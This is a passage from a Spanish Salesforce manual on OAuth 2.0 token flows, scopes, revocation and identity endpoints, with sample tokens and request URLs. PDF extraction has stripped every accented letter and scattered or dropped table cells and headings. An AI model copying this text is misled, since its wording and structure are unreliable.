cA9GE&client_secret=1955279925675241571&
redirect_uri=https%3A%2F%2Fwww.mysite.com%2Fcode_callback.jsp
En lugar de utilizar el parmetro format, el cliente tambin puede especificar el formato que se devuelve en un encabezado de
solicitud de aceptacin utilizando uno de los siguientes:
Accept: application/json
Accept: application/xml
Accept: application/x-www-form-urlencoded
Tenga en cuenta lo siguiente:
Se permiten encabezados que acepten comodines. */* es compatible y devuelve JSON.
Tambin se acepta una lista de valores y se comprueba de izquierda a derecha. Por ejemplo:
application/xml,application/json,application/html,*/* devuelve XML.
El parmetro format tiene preferencia sobre el encabezado de solicitud de aceptacin.
access_token: Id. de sesin de Salesforce que se puede utilizar con los servicios Web de API.
token_type: El valor es Soporte para todas las respuestas que influyen un token de acceso.
id_token: El valor de Salesforce de acuerdo con las especificaciones de conexin de OpenID. Esto se devuelve solo si el parmetro
de mbito incluye openid.
refresh_token: token que se podr utilizar en un futuro para obtener nuevos tokens de acceso (sesiones). Se trata de un
valor secreto. Debe considerarlo como la contrasea del usuario y tomar las mediadas adecuadas para protegerlo. Este
parmetro solo se devuelve si su aplicacin conectada se configura con un mbito de al menos refresh_token.
instance_url: URL que indica la instancia de la organizacin del usuario. En este ejemplo, la instancia es na1:
https://na1.salesforce.com.
id: URL de identidad que se puede utilizar para identificar al usuario y como consulta para obtener ms informacin acerca del
usuario. Consulte URL de identidad en la pgina 191.
sfdc_community_url: si el usuario es un miembro de una comunidad de Salesforce, se indica la URL de la comunidad.
sfdc_community_id: si el usuario es un miembro de una comunidad de Salesforce, se indica el Id. de la comunidad.
signature: firma HMAC-SHA256 con codificacin de Base64 firmada con la clave privada del consumidor con el Id. concatenado
e issued_at. Se puede utilizar para verificar que la URL de identidad no se ha modificado desde que la envi el servidor.
issued_at: momento de creacin de la firma.
A continuacin se incluye un ejemplo de respuesta de Salesforce:
{"id":"https://login.salesforce.com/id/00Dx0000000BV7z/005x00000012Q9P",
"issued_at":"1278448101416","refresh_token":"5Aep8614iLM.Dq661ePDmPEgaAW9
Oh_L3JKkDpB4xReb54_pZebnUG0h6Sb4KUVDpNtWEofWM39yg==","instance_url":
"https://na1.salesforce.com","signature":"CMJ4l+CCaPQiKjoOEwEig9H4wqhpuLSk
4J2urAe+fVg=","access_token":"00Dx0000000BV7z!AR8AQP0jITN80ESEsj5EbaZTFG0R
NBaT1cyWk7TrqoDjoNIWQ2ME_sTZzBjfmOE6zMHq6y8PIW4eWze9JksNEkWUl.Cju7m4","token_type":"Bearer","scope":"id
api refresh_token"}
Si se produce un error durante este paso, la respuesta contiene un mensaje de error con las siguientes partes:
error: cdigo de error.
error_description: descripcin del error con informacin adicional.
unsupported_response_type: tipo de respuesta no compatible.
invalid_client_id: identificador de cliente no vlido.
invalid_request: HTTPS necesario.
invalid_request: se debe utilizar HTTP POST.
invalid_client_credentials: secreto de cliente no vlido.
invalid_grant: cdigo de autorizacin no vlido.
invalid_grant: IP restringida u horas de inicio de sesin incorrectas.
redirect_uri_mismatch: uri de redireccin no proporcionada.
redirect_uri_mismatch: uri de redireccin no coincidente con la definicin de la aplicacin conectada.
inactive_user: el administrador ha definido al usuario con inactivo
inactive_org: la organizacin est bloqueada, cerrada o suspendida.
rate_limit_exceeded: se ha superado el nmero de intentos de inicio de sesin
Todo error de inicio de sesin que no aparezca recibe un fallo de autenticacin genrico que describe el error. Por ejemplo,
LOGIN_ERROR_INVALID_PASSWORD tendr la siguiente respuesta de error:
{"error":"authentication_failure","error_description":"invalid password"}
CONSULTE TAMBIN
Autenticacin de aplicaciones con OAuth
EDICIONES
Disponible en: todas las
ediciones
PERMISOS DE USUARIO
Para gestionar, crear,
modificar y eliminar
aplicaciones OAuth:
Gestionar aplicaciones
conectadas
Enviar respuesta
Despus de verificar la solicitud, Salesforce enva una respuesta al cliente. Los siguientes parmetros se encuentran en el cuerpo de la
respuesta:
access_token: Id. de sesin de Salesforce que se puede utilizar con los servicios Web de API.
token_type: El valor es Soporte para todas las respuestas que influyen un token de acceso.
instance_url: URL que indica la instancia de la organizacin del usuario. En este ejemplo, la instancia es na1:
https://na1.salesforce.com.
id: URL de identidad que se puede utilizar para identificar al usuario y como consulta para obtener ms informacin acerca del
usuario. Consulte URL de identidad en la pgina 191.
signature: firma HMAC-SHA256 con codificacin de Base64 firmada con la clave privada del consumidor con el Id. concatenado
e issued_at. Se puede utilizar para verificar que la URL de identidad no se ha modificado desde que la envi el servidor.
issued_at: momento de creacin de la firma.
Nota: No se ha enviado ningn token de actualizacin con esta respuesta.
A continuacin se incluye un ejemplo de respuesta:
{"id":"https://login.salesforce.com/id/00Dx0000000BV7z/005x00000012Q9P",
"issued_at":"1278448832702","instance_url":"https://na1.salesforce.com",
"signature":"0CmxinZir53Yex7nE0TD+zMpvIWYGb/bdJh6XfOH6EQ=","access_token":
"00Dx0000000BV7z!AR8AQAxo9UfVkh8AlV0Gomt9Czx9LjHnSSpwBMmbRcgKFmxOtvxjTrKW1
9ye6PE3Ds1eQz3z8jr3W7_VbWmEu4Q8TVGSTHxs","token_type":"Bearer"}
Si se produce un error durante este paso, la respuesta contiene un mensaje de error con las siguientes partes:
error: cdigo de error.
error_description: descripcin del error con informacin adicional.
unsupported_response_type: tipo de respuesta no compatible.
invalid_client_id: identificador de cliente no vlido.
invalid_request: HTTPS necesario.
invalid_request: se debe utilizar HTTP POST.
invalid_request: parmetro de mbito no compatible.
invalid_client_credentials: secreto de cliente no vlido.
invalid_grant: credenciales de usuario no vlidas.
invalid_grant: IP restringida u horas de inicio de sesin incorrectas.
inactive_user: el usuario est inactivo.
inactive_org: la organizacin est bloqueada, cerrada o suspendida.
rate_limit_exceeded: se ha superado el nmero de inicios de sesin.
Todo error de inicio de sesin que no aparezca recibe un fallo de autenticacin genrico que describe el error. Por ejemplo,
LOGIN_ERROR_INVALID_PASSWORD tendr la siguiente respuesta de error:
{"error":"authentication_failure","error_description":"invalid password"}
CONSULTE TAMBIN
Autenticacin de aplicaciones con OAuth
EDICIONES
Disponible en: todas las
ediciones
PERMISOS DE USUARIO
Para gestionar, crear,
modificar y eliminar
aplicaciones OAuth:
Gestionar aplicaciones
conectadas
Este flujo de autenticacin de usuario-agente no utiliza el secreto del cliente ya que los ejecutables
del cliente residen el equipo o dispositivo del usuario final, que hace que el secreto del cliente sea
accesible y explotable.
PRECAUCIN: Como el token de acceso se codifica en la URI de redireccin, podra estar expuesto al usuario final y a otras
aplicaciones del dispositivo o equipo. Si realiza la autenticacin mediante JavaScript, active window.location.replace();
para eliminar la llamada del historial del explorador.
A continuacin siguen descripciones de paso individual.
1. La aplicacin cliente dirige al usuario a Salesforce para autenticar y autorizar la aplicacin.
2. El usuario siempre debe aprobar el acceso para este flujo de autenticacin. Despus de aprobar el acceso, la aplicacin recibe la
llamada de Salesforce.
Despus de que el consumidor tenga un token de acceso, podr utilizar el token de acceso para acceder a los datos de Salesforce en
nombre del usuario final y un token de actualizacin para obtener un nuevo token de acceso si se invalida por algn motivo.
El flujo del usuario-agente no admite publicaciones fuera de banda.
response_type: el valor puede ser token o token id_token con el parmetro de mbito openid y un parmetro
nonce para este flujo. Si especifica token id_token, Salesforce devuelve un token de ID en la respuesta. Para obtener ms
informacin, consulte Obtencin y verificacin de un token de ID en la pgina 190.
client_id: clave del consumidor de la definicin de aplicacin conectada.
redirect_uri: URI a la que redirigir al usuario tras su aprobacin. Debe coincidir con el valor del campo URL de devolucin
de llamada en la definicin de la aplicacin conectada exactamente. Este valor debe tener codificacin de URL.
state: cualquier estado que el consumidor quiera reflejar tras su aprobacin, durante la devolucin de llamada. Este parmetro
es opcional.
scope: El parmetro scope le permite ajustar a lo que puede acceder la aplicacin cliente en una organizacin Salesforce. Consulte
Valores de parmetros de mbito en la pgina 187 para conocer los parmetros vlidos.
display: cambia el tipo de visualizacin de la pgina de inicio de sesin. Este parmetro es opcional. Los nicos valores que
admite Salesforce son:
page: pantalla de autorizacin de pgina completa Es el valor predefinido si no se especifica ninguno.
popup: cuadro de dilogo compacto optimizado para ventanas emergentes de explorador Web moderno.
touch: cuadro de dilogo optimizado para aplicaciones mviles diseado para smartphones modernos, como Android e
iPhone.
login_hint: Proporciona un valor de nombre de usuario vlido con este parmetro para cumplimentar previamente la pgina
de inicio de sesin con el nombre de usuario. Por ejemplo: login_hint=username@company.com. Si un usuario ya tiene
una sesin activa en el navegador y por lo tanto el parmetro login_hint es nada, la sesin de usuario activa contina.
nonce: Obligatorio con el mbito openid para la obtencin de un token de Id. de usuario. El valor se devuelve en la respuesta
y es til para detectar ataques de "nueva reproduccin".
promptEspecifica cmo el servidor de autorizacin solicita al usuario una reaprobacin y reautenticacin. Este parmetro es
opcional. Los nicos valores que admite Salesforce son:
loginEl servidor de autorizacin debe solicitar al usuario la reautenticacin, forzando as el usuario a volver a iniciar sesin.
consentEl servidor de autorizacin debe solicitar al usuario una reaprobacin antes de devolver informacin al cliente.
Se pueden introducir ambos valores, separados por un espacio, para solicitar al usuario tanto iniciar sesin como volver a autorizarse.
Por ejemplo:
?prompt=login%20consent
Aprobacin de acceso del usuario y recepcin de llamada por parte del cliente de Salesforce
El usuario recibe la solicitud de Salesforce si an no ha iniciado sesin. A continuacin, Salesforce mostrar una pgina de aprobacin,
solicitando al usuario que apruebe el acceso a la aplicacin. Si el usuario aprueba el acceso, se le redirigir a la URI especificada en
redirect_uri con los siguientes valores despus del signo de almohadilla (#). No es una cadena de consulta.
access_token: Id. de sesin de Salesforce que se puede utilizar con los servicios Web de API.
token_type: El valor es Soporte para todas las respuestas que influyen un token de acceso.
id_token: El valor de Salesforce de acuerdo con las especificaciones de conexin de OpenID. Eso se devuelve solo si
response_type es token id_token con el parmetro de mbito openid y un parmetro nonce.
refresh_token: token que se podr utilizar en un futuro para obtener nuevos tokens de acceso (sesiones). Se trata de un
valor secreto. Debe considerarlo como la contrasea del usuario y tomar las mediadas adecuadas para protegerlo.
Nota: El token de actualizacin del flujo de usuario-agente solo se emite si ha solicitado scope=refresh_token y se
cumple una de las siguientes circunstancias:
La URL de redireccin utiliza un protocolo personalizado.
La URL de redireccin es exactamente https://login.salesforce.com/services/oauth2/success
o en un sandbox, https://test.salesforce.com/services/oauth2/success.
instance_url: URL que indica la instancia de la organizacin del usuario. En este ejemplo, la instancia es na1:
https://na1.salesforce.com.
id: URL de identidad que se puede utilizar para identificar al usuario y como consulta para obtener ms informacin acerca del
usuario. Consulte URL de identidad en la pgina 191.
sfdc_community_url: si el usuario es un miembro de una comunidad de Salesforce, se indica la URL de la comunidad.
sfdc_community_id: si el usuario es un miembro de una comunidad de Salesforce, se indica el Id. de la comunidad.
signature: firma HMAC-SHA256 con codificacin de Base64 firmada con la clave privada del consumidor con el Id. concatenado
e issued_at. Se puede utilizar para verificar que la URL de identidad no se ha modificado desde que la envi el servidor.
issued_at: momento de creacin de la firma.
A continuacin se incluye un ejemplo de la devolucin de llamada del servidor. Observe que la respuesta est detrs de una almohadilla,
en lugar de los parmetros de consulta de HTTP:
https://www.mysite.com/user_callback.jsp#access_token=00Dx0000000BV7z%21A
R8AQBM8J_xr9kLqmZIRyQxZgLcM4HVi41aGtW0qW3JCzf5xdTGGGSoVim8FfJkZEqxbjaFbbe
rKGk8v8AnYrvChG4qJbQo8&refresh_token=5Aep8614iLM.Dq661ePDmPEgaAW9Oh_L3JKk
DpB4xReb54_pZfVti1dPEk8aimw4Hr9ne7VXXVSIQ%3D%3D&instance_url=https%3A%2F%
2Fna1.salesforce.com&id=https%3A%2F%2Flogin.salesforce.com%2Fid%2F00Dx000
0000BV7z%2F005x00000012Q9P&issued_at=1278448101416&signature=miQQ1J4sdMPi
duBsvyRYPCDozqhe43KRc1i9LmZHR70%3D&scope=id+api+refresh_token&token_type=
Bearer&state=mystate
Si el usuario deniega el acceso o se produce un error en este paso, se le redirigir a redirect_uri con un cdigo de error y su
descripcin en la URI, tras la almohadilla (#). No es una cadena de consulta.
error: cdigo de error.
error_description: descripcin del error con informacin adicional.
unsupported_response_type: tipo de respuesta no compatible.
invalid_client_id: identificador de cliente no vlido.
invalid_request: HTTPS necesario.
invalid_request: se debe utilizar HTTP GET.
invalid_request: fuera de banda no compatible.
access_denied: autorizacin denegada del usuario final.
redirect_uri_missing: uri de redireccin no proporcionada.
redirect_uri_mismatch: uri de redireccin no coincidente con el objeto de la aplicacin conectada.
immediate_unsuccessful: inmediato incorrecto
invalid_grant: credenciales de usuario no vlidas.
invalid_grant: IP restringida u horas de inicio de sesin incorrectas.
state: estado transmitido en el paso de aprobacin. No se incluye si el parmetro state no se ha incluido en la cadena de
consulta original.
A continuacin se incluye un error de URI de redireccin de ejemplo:
https://www.mysite.com/user_callback.jsp#error=access_denied&state=mystate
CONSULTE TAMBIN
Autenticacin de aplicaciones con OAuth
EDICIONES
Disponible en: todas las
ediciones
PERMISOS DE USUARIO
Para gestionar, crear,
modificar y eliminar
aplicaciones OAuth:
Gestionar aplicaciones
conectadas
Si se produce un error durante este paso, la respuesta contiene un mensaje de error con las siguientes partes:
error: cdigo de error.
error_description: descripcin del error con informacin adicional.
unsupported_response_type: tipo de respuesta no compatible.
invalid_request: HTTPS necesario.
invalid_request: se debe utilizar HTTP POST.
invalid_assertion_type: tipo de afirmacin especificada no compatible.
invalid_grant: cdigo de autorizacin no vlido (asegrese de que el cliente enva assertion y assertion_type
con codificacin URL)
invalid_grant: IP restringida u horas de inicio de sesin incorrectas.
error_uri: vnculo al Validador de afirmacin SAML, que contiene ms informacin acerca del error. Slo se devuelve si Salesforce
puede analizar la afirmacin.
A continuacin se incluye un ejemplo del error:
{"error_uri":"https://na1.salesforce.com/setup/secur/SAMLValidationPage.apexp",
"error":"invalid_grant","error_description":"invalid assertion"}
CONSULTE TAMBIN
Autenticacin de aplicaciones con OAuth
EDICIONES
Valor
Descripcin
api
PERMISOS DE USUARIO
chatter_api
Permite acceder a todos los datos a los que puede acceder el usuario
que ha iniciado sesin e incluye todos los dems mbitos. full no
devuelve un token de actualizacin. Debe solicitar expresamente el
mbito refresh_token para obtener un token de actualizacin.
id
openid
Valor
Descripcin
volver a un token de Id. firmado de acuerdo con las especificaciones de conexin de OpenID adems
del token de acceso.
refresh_token
Permite que se devuelva un token de actualizacin en caso de que pueda recibir uno. Eso permite
a la aplicacin interactuar con los datos del usuario mientras ste est fuera de lnea y es sinnimo
con la solicitud de offline_access.
visualforce
web
Todos los valores de mbito incluye automticamente id, por lo que, independientemente de los valores que apruebe para mbito,
siempre podr acceder a las URL de identidad.
A medida que un usuario aprueba aplicaciones, el valor del mbito se almacena con el token de actualizacin.
Por ejemplo, si un usuario aprueba una aplicacin con un mbito id, el token de actualizacin se crear con scope=id. A continuacin,
si el usuario aprueba una segunda aplicacin con un mbito diferente, por ejemplo api, el token de actualizacin se crear con
scope=api.
En el caso de solicitudes de token de soporte JSON o SAML, la solicitud comprueba los mbitos de todos los tokens de actualizacin
anteriores y los combina.
En el ejemplo anterior, el resultado es un token de acceso con scope=id%20api.
A continuacin se indica una solicitud de muestra que ajusta el parmetro scope con los valores api, id y web.
http://login.salesforce.com/services/oauth2/authorize?response_type=token&client_
id=3MVG9lKcPoNINVBKV6EgVJiF.snSDwh6_2wSS7BrOhHGEJkC_&redirect_uri=http://www.example.org/qa/security/oauth
/useragent_flow_callback.jsp&scope=api%20id%20web
CONSULTE TAMBIN
Autenticacin de aplicaciones con OAuth
Obtencin y verificacin de un token de Id.
Revocar tokens
Para revocar tokens de OAuth 2.0, utilice el extremo de la revocacin:
https://login.salesforce.com/services/oauth2/revoke
EDICIONES
Disponible en: todas las
ediciones
Cree una solicitud de PUBLICACIN que incluya los parmetros siguientes usando el formato
application/x-www-form-urlencoded en el cuerpo-entidad de la solicitud HTTP. Por ejemplo:
POST /revoke HTTP/1.1
Host: https://login.salesforce.com/services/oauth2/revoke
Content-Type: application/x-www-form-urlencoded
token=currenttoken
Si se incluye un token de acceso, ste quedar invalidado y se revocar el token. Si se incluye un token de actualizacin, se revocar as
como cualquier token de acceso asociado.
El servidor de autorizacin indica que el procesamiento de la solicitud es correcto devolviendo el cdigo de estado 200 de HTTP. Para
todas las condiciones de error, se utiliza un cdigo de estado 400 junto con uno de las siguientes respuestas de error.
unsupported_token_type: tipo de token no compatible
invalid_token: el token no era vlido
Para un sandbox, utilice test.salesforce.com en vez de login.salesforce.com.
Asistencia GET
Tambin se admiten solicitudes GET con el token de parmetro de cadena de la consulta y el token actual. Si se incluye un token de
acceso, ste quedar invalidado y se revocar el token. Si se incluye un token de actualizacin, se revocar as como cualquier token de
acceso asociado. Por ejemplo:
https://login.salesforce.com/services/oauth2/revoke?token=currenttokenID
El servidor de autorizacin indica que el procesamiento de la solicitud es correcto devolviendo el cdigo de estado 200 de HTTP. Para
todas las condiciones de error, se utiliza el cdigo de estado 400.
Compatibilidad JSONP
El extremo de la revocacin tambin acepta las solicitudes GET con un parmetro adicional de devolucin de llamada, y devuelve la
respuesta con tipo de contenido application/javascript. Por ejemplo:
https://login.salesforce.com/services/oauth2/revoke?token=XXXXX&callback=myCallback
Si la solicitud es correcta, se enva una devolucin de llamada al conjunto de funciones de JavaScript en el parmetro de devolucin de
llamada de GET:
myCallback({});
CONSULTE TAMBIN
Uso del token de acceso
EDICIONES
Para la API de REST, utilice un encabezado de autorizacin HTTP con el formato siguiente
Autorizacin: Bearer Access_Token.
PERMISOS DE USUARIO
Para gestionar, crear,
modificar y eliminar
aplicaciones OAuth:
Gestionar aplicaciones
conectadas
EDICIONES
Disponible en: todas las
ediciones
PERMISOS DE USUARIO
Para gestionar, crear,
modificar y eliminar
aplicaciones OAuth:
Gestionar aplicaciones
conectadas
https://login.salesforce.com/services/oauth2/authorize?response_type=token+id_token
&redirect_uri=https://login.salesforce.com/services/oauth2/success
&client_id=3MVG9lKcPoNINVBIPJjdw1J9LLJbP_pqwoJYyuisjQhr_LLurNDv7AgQvDTZwCoZuD_
3Oxug0sU3_WrBPd_Ax6Mcnlg5HSnLGQ&scope=openid&nonce=somevalue
Utilice las claves pblicas publicadas para comprobar que la firma en la respuesta es una firma de Salesforce vlida.
1. Vaya a https://login.salesforce.com/id/keys.
La respuesta incluye informacin en formato JSON acerca de la claves pblicas utilizadas para la firma.
2. Utilice la clave con el valor kid correcto, que especifica la versin, para validar la firma.
CONSULTE TAMBIN
Flujo de agente de usuario OAuth 2.0
Flujo de autenticacin del servidor Web OAuth 2.0
URL de identidad
Adems de acceder al token, tambin se devuelve una URL de identidad como parte de una respuesta
del token, en el parmetro id de mbito.
EDICIONES
La URL de identidad es una cadena que identifica de manera nica a un usuario y una API de RESTful
que se puede utilizar para realizar una consulta (con un token de acceso vlido) para obtener
informacin adicional acerca del usuario. Salesforce devuelve informacin de personalizacin bsica
del usuario y extremos importantes con los que los clientes pueden hablar, como fotos del usuario
y extremos de API a los que puede acceder.
PERMISOS DE USUARIO
Descripcin
Token de acceso
Formato
Este parmetro es opcional. Especifique el formato del resultado. Los valores vlidos son:
json
xml
En lugar de utilizar el parmetro format, el cliente tambin puede especificar el formato
que se devuelve en un encabezado de solicitud de aceptacin utilizando uno de los siguientes:
Accept: application/json
Accept: application/xml
Accept: application/x-www-form-urlencoded
Tenga en cuenta lo siguiente:
Se permiten encabezados que acepten comodines. */* es compatible y devuelve JSON.
Parmetro
Descripcin
Tambin se acepta una lista de valores y se comprueba de izquierda a derecha. Por ejemplo:
application/xml,application/json,application/html,*/*
devuelve XML.
El parmetro format tiene preferencia sobre el encabezado de solicitud de aceptacin.
Versin
PrettyPrint
Callback
Este parmetro es opcional. Especifique un nombre de funcin JavaScript vlido. Este parmetro
slo se utiliza si el formato se especifica como JSON. El resultado se contiene en este nombre
de funcin (JSONP). Por ejemplo, si una solicitud a
https://server/id/orgid/userid/ devuelve {"foo":"bar"}, una solicitud
a https://server/id/orgid/userid/?callback=baz devuelve
baz({"foo":"bar"});.
mobile_policy: valores especficos para gestionar las aplicaciones conectadas mviles. Estos valores solo estn disponibles
cuando la aplicacin conectada se instala en la organizacin del usuario actual y la aplicacin tiene un valor de tiempo de espera
de sesin definido y un valor de longitud de PIN (nmero de identificacin personal).
screen_lock: tiempo de espera para bloquear la pantalla si no hay actividad
pin_length: longitud del nmero de identificacin necesario para obtener acceso a la aplicacin mvil
push_service_type: este valor de respuesta se configura como apple si la aplicacin conectada se registra con el servicio
de notificaciones Apple Push Notification Service (APNS) para notificaciones de envo de iOS o androidGcm, si se registra con
Google Cloud Messaging (GCM) para las notificaciones de envo de Android. El tipo de valor de respuesta es una matriz.
custom_permissions: cuando una solicitud incluye el parmetro de mbito custom_permissions, la respuesta incluye
un mapa con permisos personalizados en una organizacin asociada con la aplicacin conectada. Si la aplicacin conectada no est
instalada en la organizacin o no tiene permisos personalizados asociados, la respuesta no contendr un mapa
custom_permissions. A continuacin se incluye una solicitud de ejemplo.
http://login.salesforce.com/services/oauth2/authorize?response_type=token&client_
id=3MVG9lKcPoNINVBKV6EgVJiF.snSDwh6_2wSS7BrOhHGEJkC_&redirect_uri=http://www.example.org/qa/security/oauth
/useragent_flow_callback.jsp&scope=api%20id%20custom_permissions
</rest>
<sobjects>http://na1.salesforce.com/services/data/v{version}/sobjects/
</sobjects>
<search>http://na1.salesforce.com/services/data/v{version}/search/
</search>
<query>http://na1.salesforce.com/services/data/v{version}/query/
</query>
<profile>http://na1.salesforce.com/005x0000001S2b9
</profile>
</urls>
<active>true</active>
<user_type>STANDARD</user_type>
<language>en_US</language>
<locale>en_US</locale>
<utcOffset>-28800000</utcOffset>
<last_modified_date>2010-06-28T20:54:09.000Z</last_modified_date>
</user>
Tras realizar una solicitud no vlida, Salesforce puede realizar las siguientes respuestas:
Cdigo de error
Problema de solicitud
HTTP
Cdigo de error
Problema de solicitud
Versin no vlida
CONSULTE TAMBIN
Uso del token de acceso
UserInfo Endpoint
El extremos de UserInfo es una API de RESTful que se puede utilizar para consultar (con un token
de acceso vlido) informacin acerca del usuario asociado con el token de acceso en el formato
estndar de conexin de OpenID. Salesforce devuelve informacin de personalizacin bsica del
usuario y extremos importantes con los que los clientes pueden hablar, como fotos del usuario y
extremos de API a los que puede acceder. Este extremo proporciona acceso a informacin para el
usuario actual, nicamente, y no para otros usuarios en la misma organizacin.
EDICIONES
Disponible en: todas las
ediciones
PERMISOS DE USUARIO
Descripcin
Token de acceso
Formato
Este parmetro es opcional. Especifique el formato del resultado. Los valores vlidos son:
json
xml
En lugar de utilizar el parmetro format, el cliente tambin puede especificar el formato
que se devuelve en un encabezado de solicitud de aceptacin utilizando uno de los siguientes:
Parmetro
Descripcin
Accept: application/json
Accept: application/xml
Accept: application/x-www-form-urlencoded
Tenga en cuenta lo siguiente:
Se permiten encabezados que acepten comodines. */* es compatible y devuelve JSON.
Tambin se acepta una lista de valores y se comprueba de izquierda a derecha. Por ejemplo:
application/xml,application/json,application/html,*/*
devuelve XML.
El parmetro format tiene preferencia sobre el encabezado de solicitud de aceptacin.
Versin
PrettyPrint
Callback
Este parmetro es opcional. Especifique un nombre de funcin JavaScript vlido. Este parmetro
slo se utiliza si el formato se especifica como JSON. El resultado se contiene en este nombre
de funcin (JSONP). Por ejemplo, si una solicitud a
https://server/id/orgid/userid/ devuelve {"foo":"bar"}, una solicitud
a https://server/id/orgid/userid/?callback=baz devuelve
baz({"foo":"bar"});.
"address":{"country":"us"},
"urls":{"enterprise":"http://na1.salesforce.com/services/Soap/c/{version}/00Dx00...",
"
"partner":"http://na1.salesforce.com/services/Soap/u/{version}/00Dx00...",
"rest":"http://na1.salesforce.com/services/data/v{version}/",
"sobjects":"http://na1.salesforce.com/services/data/v{version}/sobjects/",
"search":"http://na1.salesforce.com/services/data/v{version}/search/",
"query":"http://na1.salesforce.com/services/data/v{version}/query/",
"recent":"http://na1.salesforce.com/services/data/v{version}/recent/",
"profile":"http://na1.salesforce.com/005x000...",
"feeds":"http://na1.salesforce.com/services/data/v{version}/chatter/feeds",
"groups":"http://na1.salesforce.com/services/data/v{version}/chatter/groups",
"users":"http://na1.salesforce.com/services/data/v{version}/chatter/users",
"feed_items":"http://na1.salesforce.com/services/data/v{version}/chatter/feed-items"},
"active":true,"user_type":"STANDARD","language":"en_US","locale":"en_US","utcOffset":-28800000,"updated_at":"2013-12-02T18:46:42.000+0000"}
<user_type>STANDARD</user_type>
<language>en_US</language>
<locale>en_US</locale>
<utcOffset>-28800000</utcOffset>
<updated_at>2013-12-02T18:46:42.000Z</updated_at>
</user>
Las siguientes son respuestas posibles desde Salesforce a una solicitud no vlida.
Cdigo de error
Problema de solicitud
HTTP
Versin no vlida
EDICIONES
Disponible en: todas las
ediciones
"revocation_endpoint":"https://login.salesforce.com/services/oauth2/revoke",
"userinfo_endpoint":"https://login.salesforce.com/services/oauth2/userinfo",
"jwks_uri":"https://login.salesforce.com/id/keys",
"scopes_supported":["id","api","web","full","chatter_api",
"visualforce","refresh_token","openid","profile","email",
"address","phone","offline_access", "custom_permissions"],
"response_types_supported":["code","token","token id_token"],
"subject_types_supported":["public"],
"id_token_signing_alg_values_supported":["RS256"],
"display_values_supported":["page","popup","touch"],
"token_endpoint_auth_methods_supported":["client_secret_post","private_key_jwt"] }
EDICIONES
Disponible en: todas las
ediciones
PERMISOS DE USUARIO
Para gestionar, crear,
modificar y eliminar
aplicaciones OAuth:
Gestionar aplicaciones
conectadas
Despus de otorgar acceso a una aplicacin de acceso remoto, puede revocarlo ms adelante
dirigindose a su informacin personal.
1. En la parte superior de cualquier pgina de Salesforce, haga clic en la flecha hacia abajo junto a su nombre.
2. Seleccione Mi configuracin.
3. Seleccione Personal > Detalles avanzados de usuario.
4. En la seccin Aplicaciones conectadas de OAuth, puede:
Vea informacin sobre cada aplicacin a la que se le ha concedido acceso, as como el nmero de veces y la ltima ocasin en
la que la aplicacin intent acceder a su informacin.
Nota:
Una aplicacin puede aparecer ms de una vez. Cada vez que otorga acceso a una aplicacin, obtiene un nuevo token
de acceso. Las solicitudes para la actualizacin de tokens aumentan el Recuento de uso que se muestra para
la aplicacin. Deber conceder acceso a sus datos de Salesforce desde cada dispositivo que utilice, por ejemplo, desde
su porttil y su equipo de sobremesa. El lmite predeterminado es de cinco tokens de acceso para cada aplicacin. Las
aplicaciones ms nuevas (que usen el protocolo OAuth 2.0) se aprueban automticamente para los dispositivos
adicionales despus de que haya concedido acceso una vez. Las aplicaciones de OAuth 2.0 pueden aparecer ms de
una vez. Cada fila en la tabla representa un acceso nico, por lo que si una aplicacin solicita varios tokens con diferentes
mbitos, ver la misma aplicacin varias veces.
Aunque la aplicacin conectada haya intentando acceder a su informacin y haya fallado por no poder iniciar sesin,
los campos Recuento de uso y ltimo uso se actualizarn.
Haga clic en Revocar para revocar el acceso a la aplicacin. Cuando revoque la aplicacin, esta no podr usar ese token de
autorizacin en concreto para acceder a sus datos de Salesforce.
Importante: Debe revocar todos los tokens de acceso para una aplicacin concreta para evitar que acceda a sus datos
de Salesforce.
CONSULTE TAMBIN
Solicitud de acceso a aplicacin aprobada
Solicitud de acceso a aplicacin denegada
EDICIONES
Despus de otorgar acceso a una aplicacin de acceso remoto, puede revocarlo ms adelante
dirigindose a su informacin personal.
1. En la parte superior de cualquier pgina de Salesforce, haga clic en la flecha hacia abajo junto
a su nombre.
PERMISOS DE USUARIO
2. Seleccione Mi configuracin.
3. Seleccione Personal > Detalles avanzados de usuario.
4. En la seccin Aplicaciones conectadas de OAuth, puede:
Vea informacin sobre cada aplicacin a la que se le ha concedido acceso, as como el
nmero de veces y la ltima ocasin en la que la aplicacin intent acceder a su informacin.
Nota:
Una aplicacin puede aparecer ms de una vez. Cada vez que otorga acceso a
una aplicacin, obtiene un nuevo token de acceso. Las solicitudes para la
actualizacin de tokens aumentan el Recuento de uso que se muestra
para la aplicacin. Deber conceder acceso a sus datos de Salesforce desde cada
dispositivo que utilice, por ejemplo, desde su porttil y su equipo de sobremesa.
El lmite predeterminado es de cinco tokens de acceso para cada aplicacin. Las
aplicaciones ms nuevas (que usen el protocolo OAuth 2.0) se aprueban
automticamente para los dispositivos adicionales despus de que haya concedido
acceso una vez. Las aplicaciones de OAuth 2.0 pueden aparecer ms de una vez.
Cada fila en la tabla representa un acceso nico, por lo que si una aplicacin
solicita varios tokens con diferentes mbitos, ver la misma aplicacin varias veces.
Aunque la aplicacin conectada haya intentando acceder a su informacin y haya
fallado por no poder iniciar sesin, los campos Recuento de uso y ltimo
uso se actualizarn.
Haga clic en Revocar para revocar el acceso a la aplicacin. Cuando revoque la aplicacin, esta no podr usar ese token de
autorizacin en concreto para acceder a sus datos de Salesforce.
Importante: Debe revocar todos los tokens de acceso para una aplicacin concreta para evitar que acceda a sus datos
de Salesforce.
CONSULTE TAMBIN
Solicitud de acceso a aplicacin denegada
Solicitud de acceso a aplicacin
EDICIONES
Disponible en: todas las
ediciones
PERMISOS DE USUARIO
Para gestionar, crear,
modificar y eliminar
aplicaciones OAuth:
Gestionar aplicaciones
conectadas
Permisos personalizados
Descripcin general de permisos personalizados
Use los permisos personalizados para conceder a los usuarios acceso a los procesos o las aplicaciones
personalizados.
EDICIONES
Para determinar qu permisos personalizados tienen los usuarios cuando se autentican en una aplicacin conectada, consulte la
direccin URL de identidad del usuario que proporciona Salesforce con el token de acceso para la aplicacin conectada.
CONSULTE TAMBIN
Creacin de permisos personalizados
Agregar o eliminar permisos personalizados necesarios
URL de identidad
EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition y
Developer Edition
PERMISOS DE USUARIO
Para crear permisos
personalizados:
Personalizar aplicacin
EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition y
Developer Edition
PERMISOS DE USUARIO
Para modificar permisos
personalizados:
Personalizar aplicacin
EDICIONES
Disponible en: Enterprise
Edition, Performance
